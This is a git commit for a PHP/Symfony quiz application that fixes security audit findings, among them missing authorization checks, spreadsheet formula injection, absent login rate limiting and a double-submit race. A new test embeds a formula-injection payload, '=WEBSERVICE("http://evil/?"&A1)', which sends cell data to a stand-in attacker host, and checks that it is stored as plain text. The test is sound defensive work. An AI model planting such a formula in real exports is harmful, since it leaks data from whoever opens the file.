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Declare ext-intl/ext-zip requirements and fix security audit findings (#213)

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* Declare ext-intl and ext-zip as explicit composer requirements

DataExportService uses ZipArchive directly and the Dutch-locale
format_datetime Twig filter needs real ext-intl (the polyfill only
supports en), but composer.json only declared ext-ctype/ext-iconv.
Adding them lets `composer check-platform-reqs` catch a missing
extension before a runtime crash.

* Add authorization checks to PrepareEliminationController

index and viewElimination had no IsGranted guard, unlike every other
backoffice/elimination controller, so any authenticated user could
prepare or overwrite another season's elimination screens.

* Prevent formula injection in spreadsheet exports

Answer/candidate text starting with =, +, -, or @ was written to XLSX
exports as a live formula rather than plain text. Since seasons can
have multiple owners, a co-owner could plant a formula that runs (and
can exfiltrate data) when another owner opens the export in Excel.

* Add rate limiting to login and season-code entry points

Neither /login nor the public season-code guess form (POST /) had
any throttling, making both an unlimited brute-force/enumeration
oracle. Adds symfony/rate-limiter and enables login_throttling on
the main firewall, plus a dedicated per-IP rate limiter on the
season-code form.

* Add unique constraint to prevent double-submit score inflation

A candidate could submit two concurrent POSTs for the same question
before either committed, since GivenAnswer had no unique constraint
and the "next question" check was subject to a TOCTOU race — each
insert was then counted as a correct answer.

* Address CodeRabbit review findings

Include a Retry-After header on the season-code rate limit, correct
stale line references in the security audit doc, and fix a stray
comma in the reset-password email.
This commit is contained in:
Marijn Doeve
2026-07-13 22:58:29 +02:00
committed by GitHub
parent 97cec66083
commit b290620cf9
21 changed files with 595 additions and 9 deletions
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tests/Service/QuizSpreadsheetServiceTest.php
+21
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@@ -4,6 +4,7 @@ declare(strict_types=1);
namespace Tvdt\Tests\Service;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
use PhpOffice\PhpSpreadsheet\Reader;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer;
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
$this->assertCount(3, $second->answers);
}
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
{
$quiz = new Quiz();
$question = new Question();
$question->question = 'Who missed the assignment?';
$question->ordering = 1;
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
$quiz->addQuestion($question);
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
$cell = $sheet->getCell('B2');
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
}
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
{
$path = $this->createTempPath('.txt');